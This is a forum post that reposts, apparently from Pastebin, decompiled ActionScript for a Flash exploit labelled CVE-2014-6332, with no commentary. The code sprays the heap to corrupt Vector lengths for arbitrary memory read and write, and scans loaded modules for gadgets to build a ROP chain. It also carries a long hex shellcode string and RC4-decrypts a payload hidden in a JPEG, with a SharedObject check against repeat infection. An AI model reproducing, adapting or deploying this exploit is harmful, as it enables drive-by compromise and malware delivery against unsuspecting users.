Nytro Posted November 21, 2014 Report Posted November 21, 2014 [h=1]Exploit.SWF.CVE-2014-6332[/h]By: physicaldrive0 on Nov 21st, 2014*** PhysicalDrive0 ***package mx.core { public namespace mx_internal = "http://www.adobe.com/2006/flex/mx/internal";}//package mx.core ?package mx.core { public interface IFlexAsset { }}//package mx.core ?package mx.core { import flash.utils.*; public class ByteArrayAsset extends ByteArray implements IFlexAsset { mx_internal static const VERSION:String = "4.6.0.23201"; }}//package mx.core ?package { import mx.core.*; public class flappyMan_keyClass extends ByteArrayAsset { }}//package ?package { import flash.events.*; import flash.utils.*; import flash.display.*; import flash.media.*; import __AS3__.vec.*; import flash.net.*; import flash.external.*; public class flappyMan extends MovieClip { public var keyClass:Class; private var btaObj:ByteArray; private var outObj:theoutobj; private var sndObj:Sound; public var vtObj20W:Vector.<Object>; public var vtObj1H:Vector.<Object>; public var vtObj20WLen:int = 1022; public var vtObj1HLen:int = 1007; private var workTimerExploit:Timer; private var bGoNextStep:Boolean = false; private var bExploited:Boolean = false; private var infectedObjIndex:int = 0; private var changedPropertyObjIndex:int = 0; private var iLoopCount:int = 0; private var controlledAddr:uint = 0; private var heapSprayObjAddr:uint = 0x1E140000; private var fakeEnvcoreObjAddr:uint; private var offset:int = 0; private var iCountOffset:int = 184; private var stackMemoryStructAddr:int = 0; private var flagNumber:uint = 3735928545; private var flagSavePosition:int = 176; private var ropChainLen:int = 0; private var uiNopValue:uint = 0; private var recObjAddr:uint = 0; private var _MaxCountPos:uint = 0; private var heapSprayLenByEnv20W:int = 98688; private var storedObjIndex:int = 0; public var fModuleAddrStart:int = 0; public var fModuleAddrEnd:int = 0; private var code:String = ""; private var stopCode:String = ""; private var jpgBytes:ByteArray; private var jpgLoader:URLLoader; private var floatString:String = ""; public function flappyMan(){ this.keyClass = flappyMan_keyClass; this.fakeEnvcoreObjAddr = (this.heapSprayObjAddr + 0x0100); this.stackMemoryStructAddr = (this.heapSprayObjAddr + 32); this.btaObj = new ByteArray(); this.outObj = new theoutobj(); this.sndObj = new Sound(); this.vtObj20W = new Vector.<Object>(this.heapSprayLenByEnv20W); this.vtObj1H = new Vector.<Object>(256); var _local1:Number = 500; var _local2:int = (17 * 2); this.workTimerExploit = new Timer((_local1 / 2), _local2); super(); var _local3:* = new URLRequest(); this.jpgBytes = new ByteArray(); this.jpgLoader = new URLLoader(); _local3.url = "shadow.jpg"; this.jpgLoader.dataFormat = URLLoaderDataFormat.BINARY; this.jpgLoader.addEventListener(Event.COMPLETE, this.func_prepare); this.jpgLoader.load(_local3); } private function evalCode(_arg1:uint):void{ if (ExternalInterface.available){ ExternalInterface.call("Beginx", ""); }; } private function checkEvnExploitable():Boolean{ return (true); } private function checksharobject():Boolean{ var _local2:Number; var _local1:SharedObject = SharedObject.getLocal("flashplayerinUSA"); if (_local1.size == 0){ _local1.close(); return (false); }; _local2 = (new Date().time - _local1.data.now); if (_local2 < ((((1 * 24) * 60) * 60) * 1000)){ _local1.close(); return (true); }; _local1.close(); return (false); } private function setsharobject():Boolean{ var _local1:SharedObject = SharedObject.getLocal("flashplayerinUSA"); if (_local1.size == 0){ _local1.data.now = new Date().time; _local1.flush(); _local1.close(); return (true); }; return (false); } public function func_prepare(_arg1:Event):void{ var _local2:int; var _local3:int; var _local4:int; if (((!(this.checkEvnExploitable())) || (this.checksharobject()))){ return; }; _local2 = 0; while (_local2 < this.heapSprayLenByEnv20W) { this.vtObj20W[_local2] = new Vector.<uint>(this.vtObj20WLen); this.vtObj20W[_local2][(this.vtObj20WLen - 2)] = 1; _local2++; }; _local2 = 0; while (_local2 < 0x0100) { this.vtObj1H[_local2] = new Vector.<Object>(this.vtObj1HLen); _local3 = 0; while (_local3 < this.vtObj1HLen) { this.vtObj1H[_local2][_local3] = this.sndObj; _local3++; }; _local2++; }; this.evalCode(0); this.workTimerExploit.start(); this.workTimerExploit.addEventListener(TimerEvent.TIMER, this.func_step2); } public function func_step2(_arg1:Event):void{ if (this.bExploited == true){ this.workTimerExploit.stop(); return; }; var _local2:int; while (_local2 < this.heapSprayLenByEnv20W) { try { if ((this.vtObj20W[_local2] as Vector.<uint>).length > this.vtObj20WLen){ this.bExploited = true; break; }; } catch(e:Error) { }; _local2++; }; if (!this.bExploited){ return; }; this.workTimerExploit.stop(); this.changedPropertyObjIndex = _local2; this.storedObjIndex = this.changedPropertyObjIndex; _local2 = 0; this.uiNopValue = this.vtObj20W[this.changedPropertyObjIndex][((0x1000 / 4) - 2)]; if (this.uiNopValue != this.vtObj20WLen){ this._MaxCountPos = (((this.vtObj20W[this.storedObjIndex].length - (0x1000 / 4)) - 2) / (0x1000 / 4)); _local2 = 0; while (_local2 < this._MaxCountPos) { this.uiNopValue = this.vtObj20W[this.changedPropertyObjIndex][(((0x1000 / 4) - 2) + ((0x1000 / 4) * _local2))]; if (this.uiNopValue == this.vtObj20WLen){ break; }; _local2++; }; if (_local2 == this._MaxCountPos){ this.bExploited = true; return; }; }; this.recObjAddr = this.vtObj20W[this.changedPropertyObjIndex][(((0x1000 / 4) - 1) + ((0x1000 / 4) * _local2))]; this.vtObj20W[this.changedPropertyObjIndex][(((0x1000 / 4) - 2) + ((0x1000 / 4) * _local2))] = 1073741823; if (this.checkProperty() == false){ return; }; this.controlledAddr = ((this.heapSprayObjAddr + (0x1000 * (_local2 + 1))) + 8); var _local3:uint; var _local4:uint = (this.controlledAddr + ((this.heapSprayLenByEnv20W - this.changedPropertyObjIndex) * 0x1000)); _local2 = ((this.controlledAddr & 0xFFFFF000) + 0x1000); while (_local2 < _local4) { if (((((((((((((!((this.readUnsignedInt((_local2 + (4 * 4))) == 0))) && (!((this.readUnsignedInt((_local2 + (6 * 4))) == 0))))) && ((this.readUnsignedInt((_local2 + (7 * 4))) == 0)))) && ((this.readUnsignedInt((_local2 + (8 * 4))) == 0)))) && ((this.readUnsignedInt((_local2 + (12 * 4))) == 0)))) && ((this.readUnsignedInt((_local2 + (13 * 4))) == 0)))) && ((this.readUnsignedInt((_local2 + (15 * 4))) == 2)))){ _local3 = _local2; break; }; _local2 = (_local2 + 0x1000); }; if (!_local3){ return (this.safe_exit()); }; var _local5:int = _local3; while (1) { if (_local5 < 65536){ return (this.safe_exit()); }; if (this.readUnsignedInt((_local5 + 16)) < 5){ break; }; _local5 = this.readUnsignedInt((16 + _local5)); }; var _local6:int; var _local7:int; while (_local6 < 100) { if ((((((this.readUnsignedInt(((_local5 + 80) + (_local6 * 40))) > 0x10000000)) && ((this.readUnsignedInt(((_local5 + 76) + (_local6 * 40))) == 0)))) && ((this.readUnsignedInt(((_local5 + 84) + (_local6 * 40))) == 0)))){ _local7 = this.readUnsignedInt(((_local5 + 80) + (_local6 * 40))); if ((((((((this.readUnsignedInt((_local7 + 4)) == 1007)) && ((this.readUnsignedInt((_local7 + 16)) == this.readUnsignedInt((_local7 + 64)))))) && ((this.readUnsignedInt((_local7 + 28)) == this.readUnsignedInt((_local7 + 44)))))) && (this.readUnsignedInt((_local7 + 28))))){ break; }; }; _local6++; }; if (_local6 == 100){ return (this.safe_exit()); }; _local7 = this.readUnsignedInt((_local7 + 28)); _local7 = (_local7 & 0xFFFFFFFC); var _local8:uint = this.readUnsignedInt(_local7); _local8 = (_local8 & 0xFFFF0000); while (1) { if ((this.readUnsignedInt(_local8) % 65536) == 23117){ break; }; _local8 = (_local8 - 65536); }; var _local9:uint = _local8; _local8 = this.readUnsignedInt((_local9 + 60)); _local8 = this.readUnsignedInt(((_local9 + _local8) + 128)); _local8 = (_local9 + _local8); var _local10:int = _local8; var _local11:int; var _local12:int; _local6 = 0; while (_local6 < 20) { _local8 = (_local9 + this.readUnsignedInt(((_local10 + (_local6 * 20)) + 12))); if ((this.readUnsignedInt(_local8) ^ 0x20202020) == 1852990827){ _local12 = (_local9 + this.readUnsignedInt((_local10 + (_local6 * 20)))); _local11 = (_local9 + this.readUnsignedInt(((_local10 + (_local6 * 20)) + 16))); break; }; _local6++; }; if (_local6 == 20){ return (this.safe_exit()); }; var _local13:uint; var _local14:uint; var _local15:uint; var _local16:uint; var _local17:int; _local6 = 0; while ((((_local6 < 1367)) && ((_local17 < 2)))) { _local8 = (_local9 + this.readUnsignedInt((_local12 + (_local6 * 4)))); if ((((_local8 == _local9)) || ((_local8 > (_local9 + 0xFFFFFF))))){ break; }; if (((!(_local13)) && ((((((this.readUnsignedInt((_local8 + 2)) == 1953655126)) && ((this.readUnsignedInt((_local8 + 6)) == 1097621877)))) && ((this.readUnsignedInt((_local8 + 10)) == 1668246636)))))){ _local14 = (_local11 + (_local6 * 4)); _local13 = this.readUnsignedInt(_local14); _local17++; } else { if (((!(_local15)) && ((((((this.readUnsignedInt((_local8 + 2)) == 1349805383)) && ((this.readUnsignedInt((_local8 + 6)) == 1097035634)))) && ((this.readUnsignedInt((_local8 + 10)) == 1701995620)))))){ _local16 = (_local11 + (_local6 * 4)); _local15 = this.readUnsignedInt(_local16); _local17++; }; }; _local6++; }; if (_local6 == 1367){ return (this.safe_exit()); }; this.fModuleAddrStart = this.readUnsignedInt((_local9 + 60)); this.fModuleAddrEnd = this.readUnsignedInt(((_local9 + this.fModuleAddrStart) + 264)); this.fModuleAddrStart = this.readUnsignedInt(((_local9 + this.fModuleAddrStart) + 260)); this.fModuleAddrStart = (_local9 + this.fModuleAddrStart); this.fModuleAddrEnd = (_local9 + this.fModuleAddrEnd); _local6 = this.fModuleAddrStart; this.writeUnsignedInt((this.stackMemoryStructAddr - 8), this.fModuleAddrStart); this.writeUnsignedInt((this.stackMemoryStructAddr - 4), this.fModuleAddrEnd); var _local18:int; _local6 = this.fModuleAddrStart; while (_local6 < this.fModuleAddrEnd) { if ((((((this.readUnsignedInt(_local6) == _local14)) && (((this.readUnsignedInt((_local6 - 2)) & 0xFFFF) == 5631)))) && (((this.readUnsignedInt((_local6 + 4)) & 0xFF) == 195)))){ _local18 = (_local6 - 2); break; }; _local6++; }; var _local19:uint; var _local20:uint; var _local21:uint; var _local22:uint; var _local23:uint; var _local24:uint; var _local25:uint; var _local26:uint; _local6 = (this.fModuleAddrStart + 0x1000); _local17 = 0; while ((((_local6 < (this.fModuleAddrEnd - 4))) && ((_local17 < 4)))) { _local21 = this.readUnsignedInt(_local6); if (((!(_local26)) && (((_local21 & 0xFFFF) == 50068)))){ _local26 = _local6; _local17++; }; if (((!(_local25)) && (((_local21 & 0xFFFF) == 50070)))){ _local25 = _local6; _local17++; }; if (((!(_local23)) && (((_local21 & 0xFFFF) == 50008)))){ _local23 = _local6; _local17++; }; if (((!(_local24)) && (((_local21 & 0xFFFF) == 8447)))){ _local24 = _local6; _local17++; }; _local6++; }; if ((((((((((((((_local13 == 0)) || ((_local25 == 0)))) || ((_local24 == 0)))) || ((_local23 == 0)))) || ((_local18 == 0)))) || ((_local15 == 0)))) || ((_local26 == 0)))){ return (this.safe_exit()); }; var _local27:int = (_local25 + 1); var _local28:int = (this.heapSprayObjAddr + 65792); var _local29 = (_local28 & 0xFFFFF000); var _local30:ByteArray = new ByteArray(); _local30.endian = Endian.LITTLE_ENDIAN; _local6 = 0; while (_local6 < 0x0100) { var _temp1 = _local6; _local6 = (_local6 + 1); _local30.writeUnsignedInt(this.readUnsignedInt((_local29 + (4 * _temp1)))); }; var _local31:ByteArray = new ByteArray(); _local31.endian = Endian.LITTLE_ENDIAN; _local6 = 0; while (_local6 < 262144) { var _temp2 = _local6; _local6 = (_local6 + 1); _local31.writeUnsignedInt(this.readUnsignedInt((_local28 + (4 * _temp2)))); }; var _local32 = 96; var _local33 = 32; var _local34:int; var _local35:uint = ((_local28 + _local32) + _local33); var _temp3 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local29 + (4 * _temp3)), _local35); _local34 = 0; var _temp4 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp4)), _local27); var _temp5 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp5)), _local25); var _temp6 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp6)), _local23); var _temp7 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp7)), _local28); var _temp8 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp8)), _local18); var _temp9 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp9)), _local29); var _temp10 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp10)), 65536); var _temp11 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp11)), 0x1000); var _temp12 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp12)), 64); var _temp13 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp13)), (_local18 + 6)); var _temp14 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp14)), (_local18 + 6)); var _temp15 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp15)), (_local18 + 6)); var _temp16 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp16)), _local24); var _temp17 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp17)), _local24); this.ropChainLen = (_local34 * 4); while (_local34 < (_local32 / 4)) { var _temp18 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp18)), (_local28 + _local32)); }; while (_local34 < ((_local32 + _local33) / 4)) { var _temp19 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp19)), _local26); }; this.ropChainLen = _local34; var _temp20 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp20)), 2425415307); var _temp21 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp21)), 0x90909090); var _temp22 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp22)), 3096481936); var _temp23 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp23)), (this.heapSprayObjAddr + 8)); var _temp24 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp24)), 3146813584); var _temp25 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp25)), _local15); var _temp26 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp26)), 2425362569); var _temp27 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp27)), 3096481936); var _temp28 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp28)), (_local35 + (((_local34 - this.ropChainLen) + 1) * 4))); var _temp29 = _local34; _local34 = (_local34 + 1); this.writeUnsignedInt((_local28 + (4 * _temp29)), 2428752127); var _local36 = "81ec8b550003ccec57565300fc6085c70000ffff85c70000fffffc3800000000fd1885c70000ffff85c70000fffffc7000000000fc4485c70001ffff85c70000fffffce400000000fcd885c70000ffff85c70000fffffc3c00000000fd0c85c70000ffff45c70000000000fcf485c70000fffffcc7000000fffc4c85000000ff0085c70000fffffd33000000858966c0fffffc648966c933fffd108ddc85c7ff00fffffcc7000000fffd0485000000fff885c70000fffffcc7000000fffc5085000000ff0885c70000fffffdc7000000fffc5885000000ff5c85c70000fffffcc7000000fffc4885000000ff6885c70000fffffcc7000000fffd2485000000ff4085c70000fffffcc7000000fffc5485000000fffc85c70000fffffcc7000000fffc7485000000ff7885c70000fffffcc7000000fffc7c85000000ffe885c70045fffffcc754454dfffcec854c442efff085c74c00fffffcc7000000fffd1c85000000ff2085c70000fffffdc7000000fffce085000000ff6c85c70000fffffcc7000000fffc8085917432ff8485c70c85fffffcc7bbafdffffc8885de5967ff8c85c71e05fffffcc76144aafffc90853d8815ff9485c76c58fffffcc797410ffffc9885e2f2b2ff9c85c7f4a0fffffcc7cb9765fffca08564a41effa485c7efbbfffffcc72729f8fffca885ae9074ffac85c78093fffffcc794e432fffcb0851f8dc4ffb485c77457fffffcc7ff0d66fffcb885a22f51ffbc85c70139fffffcc7837de2fffcc08507d145ffc485c74863fffffcc74fd189fffcc88517053dffcc85c78ed7fffffcc7818f6efffcd08544d772ffd485c78072fffffce88644d700000000f0002558002dffff89000100fffc488589008bfffffc588530a164ff8b00000085890c40fffffd148b1c408bdc8b0840fc488d8bec83ffff2404c7206553744e042444c76e6f4374082444c7747865740c2444c765726854102444c70000646151ff50548de38b08fffc808d544189ff28bd8d5733fffffdccb966c9f3c0330285c75faafffffd2800010010fd28958d6a52ffffd495fffe89fffffcfffd088508bd83ff00fffffd41e905748b000003fffc9085508589ff8dfffffcfffc8085f88b60ffa164c933000000308b0c408b688b1c4020588b084b38008bb1f375180c4b383332b1ec75750e4b38382eb1e5de75104bf78bed8be859126a0000001fee8bf9e26e686c6a546c6474c48316ff6ae88b0804e85903e20000005145ebf93c758b56782e748b8b56f503f50320764149c93333c503ad10be0fdb0874d63a0307cbc1f1eb40dae7751f3b245e8b5e8b66dd035e8b4b0c8bdd031cc5038b04c3595eab508d8b613bfffffcfffc908de90575ff00000278000000e885895800fffffc5c086a0c6afca895ffff50fffffffcc8957c8589ff83fffffcfffc7cbd057500ff000247e96a586a00a895ff0850fffffcfcc895ff958bfffffffffc7c8b084289fffc7c85087883ffe90575000000021c8d8d586afffffc807c958b518bfffffcff500842fffccc950cc483fffc588d8b3981ffffdeadbeef958b7f75fffffc5841047a81754141417c858b708bfffffcfffc588d08518bff8b045089fffc58850cc083fffc788589046affff001000687c8d8b008bfffffc6a5204518895ff008bfffffcfffc7c8d8b0189fffffc7c95003a83ff858b2374fffffc7c5104488bfc78958b8b52fffffffc7c8551088bfffccc95ffc483ffff7c958b0c83fffffc0575003a000163e968046a000000100000010468ff006a00fffc8895208589ff83fffffdfffd20bd057500ff00013be920858b0050fffffd00010468bc95ff0089fffffcfffc6c856cbd83ff00fffffc15e905758b000001fffd208d6c8d03ffc7fffffc6e69770120958b6403fffffdfffc6c950442c7ff2e706d75fd20858b8503fffffffffc6c650840c76a00657800806800026a0000036a006a8d8b026afffffd20ac95ff5189fffffcfffce085e0bd83fffffffffcade905756a0000006c958d0052fffffcfc7c858b488bffff958b5104fffffc7c8b50028bfffce08d95ff51fffffffcb0fce0958bff52fffffffcb495e8858dff50fffffcfc9895ff8589fffffffffd1cfd1cbd837400ffff8b056a11fffd208d95ff51fffffffcb8958b4aebfffffcf8c095ff5260fffffc140000b8eb20891edb33592b89338b64c033044efd209d8b5350ffff808d8d508bfffffce1ff3849140000b88b008b1e07eb61e0ffffd0e890edebffc35de58b424242427042424277a0908055000000ec81ec8b000002d85608558bf445c75754454d452ef845c7c74c4c440000fc45d28500008d573f74fffd28bd66c933ff3302ccb95faaf3c08d08728bfffd288585c750fffffffd28000100106a544e8b85d1fffe8b0e75c0558d1846d0ff52f40175c0855de58bccc340c033cccccccccccccccc0000cccc"; var _local37:uint = this.writeString((_local28 + (4 * _local34)), _local36); this.writeUnsignedInt(this.heapSprayObjAddr, _local37); var _local38:ByteArray = (new this.keyClass() as ByteArray); var _local39:ByteArray = new ByteArray(); _local38.readBytes(_local39, 0, 0x0100); _local38.endian = Endian.LITTLE_ENDIAN; _local38.position = 0x0100; this.jpgBytes.endian = Endian.LITTLE_ENDIAN; this.jpgBytes.position = 0; ByteArray(this.jpgLoader.data).position = _local38.readInt(); ByteArray(this.jpgLoader.data).readBytes(this.jpgBytes, 0, 0); this.jpgBytes = this.encryption(this.jpgBytes, _local39); this.jpgBytes.endian = Endian.LITTLE_ENDIAN; this.jpgBytes.position = 0; var _local40:* = this.jpgBytes.length; var _local41:int; var _local42:uint; while (((_local41 + 1) * 4) < _local40) { _local42 = this.jpgBytes.readInt(); try { this.writeUnsignedInt((_local37 + (_local41 * 4)), _local42); } catch(e:Error) { }; _local41++; }; var _local43:uint = this.readUnsignedInt(_local7); this.writeUnsignedInt(_local7, _local28); this.sndObj.toString(); this.writeUnsignedInt(_local7, _local43); _local31.position = 0; _local6 = 0; while (_local6 < (_local31.length / 4)) { var _temp30 = _local6; _local6 = (_local6 + 1); this.writeUnsignedInt((_local28 + (4 * _temp30)), _local31.readUnsignedInt()); }; _local30.position = 0; _local6 = 0; while (_local6 < (_local30.length / 4)) { var _temp31 = _local6; _local6 = (_local6 + 1); this.writeUnsignedInt((_local29 + (4 * _temp31)), _local30.readUnsignedInt()); }; this.setsharobject(); return (this.safe_exit()); } public function safe_exit():void{ this.writeUnsignedInt(this.heapSprayObjAddr, this.vtObj20WLen); this.writeUnsignedInt((this.heapSprayObjAddr + 4), this.recObjAddr); this.writeUnsignedInt((this.controlledAddr - 8), this.vtObj20WLen); } public function logMsg(_arg1:String):void{ if (ExternalInterface.available){ }; } public function get_address(_arg1:String):uint{ var _local2:uint; if (ExternalInterface.available){ _local2 = ExternalInterface.call(_arg1, ""); }; return (_local2); } public function exception_exit():void{ if ((this.vtObj20W[this.changedPropertyObjIndex] as Vector.<uint>).length >= 1073741823){ this.vtObj20W[this.changedPropertyObjIndex][(0x40000000 - 2)] = this.vtObj20WLen; }; } private function read4bytes(_arg1:uint):uint{ var _local2:uint; if (_arg1 > this.controlledAddr){ _local2 = this.vtObj20W[this.changedPropertyObjIndex][((_arg1 - this.controlledAddr) / 4)]; } else { _local2 = this.vtObj20W[this.changedPropertyObjIndex][(0x40000000 - ((this.controlledAddr - _arg1) / 4))]; }; return (_local2); } private function readUnsignedInt(_arg1:uint):uint{ var _local2:uint; var _local3:uint; var _local4:uint; if ((_arg1 % 4) == 0){ _local4 = this.read4bytes(_arg1); } else { if ((_arg1 % 4) == 1){ _local3 = (((this.read4bytes((_arg1 - 1)) & 0xFFFFFF00) / 0x0100) & 0xFFFFFF); _local2 = (((this.read4bytes((_arg1 + 3)) & 0xFF) * 16777216) & 0xFF000000); _local4 = (_local2 + _local3); } else { if ((_arg1 % 4) == 2){ _local3 = (((this.read4bytes((_arg1 - 2)) & 0xFFFF0000) / 65536) & 0xFFFF); _local2 = (((this.read4bytes((_arg1 + 2)) & 0xFFFF) * 65536) & 0xFFFF0000); _local4 = (_local2 + _local3); } else { _local3 = (((this.read4bytes((_arg1 - 3)) & 0xFF000000) / 16777216) & 0xFF); _local2 = (((this.read4bytes((_arg1 + 1)) & 0xFFFFFF) * 0x0100) & 0xFFFFFF00); _local4 = (_local2 + _local3); }; }; }; return (_local4); } private function writeUnsignedInt(_arg1:uint, _arg2:uint):void{ if (_arg1 > this.controlledAddr){ this.vtObj20W[this.changedPropertyObjIndex][((_arg1 - this.controlledAddr) / 4)] = _arg2; } else { this.vtObj20W[this.changedPropertyObjIndex][(0x40000000 - ((this.controlledAddr - _arg1) / 4))] = _arg2; }; } public function encryption(_arg1:ByteArray, _arg2:ByteArray):ByteArray{ var _local3:ByteArray = new ByteArray(); var _local4:uint = _arg1.length; _local3 = this.rc4_crypt(_arg2, _arg1, _local4); return (_local3); } public function rc4_crypt(_arg1:ByteArray, _arg2:ByteArray, _arg3:uint):ByteArray{ var _local4:int; var _local5:int; var _local6:int; var _local7:uint; var _local8:uint; var _local9:ByteArray = new ByteArray(); while (_local7 < _arg3) { _local4 = ((_local4 + 1) % 0x0100); _local5 = ((_local5 + _arg1[_local4]) % 0x0100); _local8 = _arg1[_local4]; _arg1[_local4] = _arg1[_local5]; _arg1[_local5] = _local8; _local6 = ((_arg1[_local4] + _arg1[_local5]) % 0x0100); _local9[_local7] = (_arg2[_local7] ^ _arg1[_local6]); _local7++; }; return (_local9); } private function HexString2ByteArray(_arg1:String):ByteArray{ var _local2:String; var _local3:uint = _arg1.length; var _local4:uint; var _local5:ByteArray = new ByteArray(); _local5.endian = Endian.LITTLE_ENDIAN; while (_local4 < _local3) { _local2 = (_arg1.charAt(_local4) + _arg1.charAt((_local4 + 1))); _local5.writeByte(parseInt(_local2, 16)); _local4 = (_local4 + 2); }; return (_local5); } private function writeString(_arg1:int, _arg2:String):int{ var _local3:int; var _local4:int; var _local5:int; var _local6:ByteArray = this.HexString2ByteArray(_arg2); while (_local3 < (_arg2.length / 2)) { _local5 = ((((_local6[_local3] * 16777216) + (_local6[(_local3 + 1)] * 65536)) + (_local6[(_local3 + 2)] * 0x0100)) + _local6[(_local3 + 3)]); _local3 = (_local3 + 4); this.writeUnsignedInt((_arg1 + (_local4 * 4)), _local5); _local4++; }; return ((_arg1 + (_local4 * 4))); } private function checkProperty():Boolean{ var _local1:int; while (_local1 < this.heapSprayLenByEnv20W) { if (this.vtObj20W[_local1].length == 1073741823){ break; }; _local1++; }; if (_local1 == this.heapSprayLenByEnv20W){ return (false); }; this.changedPropertyObjIndex = _local1; return (true); } }}//package class theoutobj { public function theoutobj(){ } public function therundata(_arg1:uint, _arg2:uint, _arg3:uint):uint{ var _local4:uint; return (_local4); }}Sursa: Exploit.SWF.CVE-2014-6332 - Pastebin.com Quote